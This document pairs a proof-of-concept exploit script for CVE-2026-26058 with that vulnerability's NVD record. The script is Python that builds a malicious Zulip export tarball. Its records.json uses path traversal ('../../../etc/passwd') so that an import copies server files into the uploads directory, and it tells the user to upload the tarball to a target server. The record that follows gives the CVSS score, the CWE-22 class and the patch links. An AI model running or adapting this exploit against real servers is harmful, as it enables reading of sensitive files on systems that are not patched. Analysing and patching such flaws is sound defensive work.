CVE-2026-26058

import tarfile import json import os def create_malicious_tar(output_filename): # Create a directory structure mimicking a Zulip export exploit_dir = "zulip_export_exploit" upload_dir = os.path.join(exploit_dir, "uploads") os.makedirs(upload_dir, exist_ok=True) # Craft malicious records.json with path traversal # The goal is to read /etc/passwd from the server malicious_records = [ { "path": "../../../etc/passwd", "name": "leaked_passwords.txt" } ] records_path = os.path.join(upload_dir, "records.json") with open(records_path, "w") as f: json.dump(malicious_records, f) # Create the tarball with tarfile.open(output_filename, "w:gz") as tar: tar.add(exploit_dir, arcname=".") print(f"[+] Malicious tarball created: {output_filename}") print(f"[+] Upload this to a target server and trigger an import.") # Cleanup for root, dirs, files in os.walk(exploit_dir, topdown=False): for name in files: os.remove(os.path.join(root, name)) for name in dirs: os.rmdir(os.path.join(root, name)) os.rmdir(exploit_dir) if __name__ == "__main__": create_malicious_tar("cve_2026_26058_poc.tar.gz")

{"cve": {"id": "CVE-2026-26058", "sourceIdentifier": "[email protected]", "published": "2026-04-03T21:17:10.230", "lastModified": "2026-04-22T18:17:00.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zulip is an open-source team collaboration tool. From version 1.4.0 to before version 11.6, ./manage.py import reads arbitrary files from the server filesystem via path traversal in uploads/records.json. A crafted export tarball causes the server to copy any file the zulip user can read into the uploads directory during import. This issue has been patched in version 11.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zulip:zulip:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.4.0", "versionEndIncluding": "11.5", "matchCriteriaId": "FB004E2D-0D22-4ACF-AD92-3EACF9E69F9F"}]}]}], "references": [{"url": "https://github.com/zulip/zulip/commit/2df49e7750ce3fc49ef1d44b1c4ece654d4b754c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/zulip/zulip/security/advisories/GHSA-xm5c-c6mp-3956", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}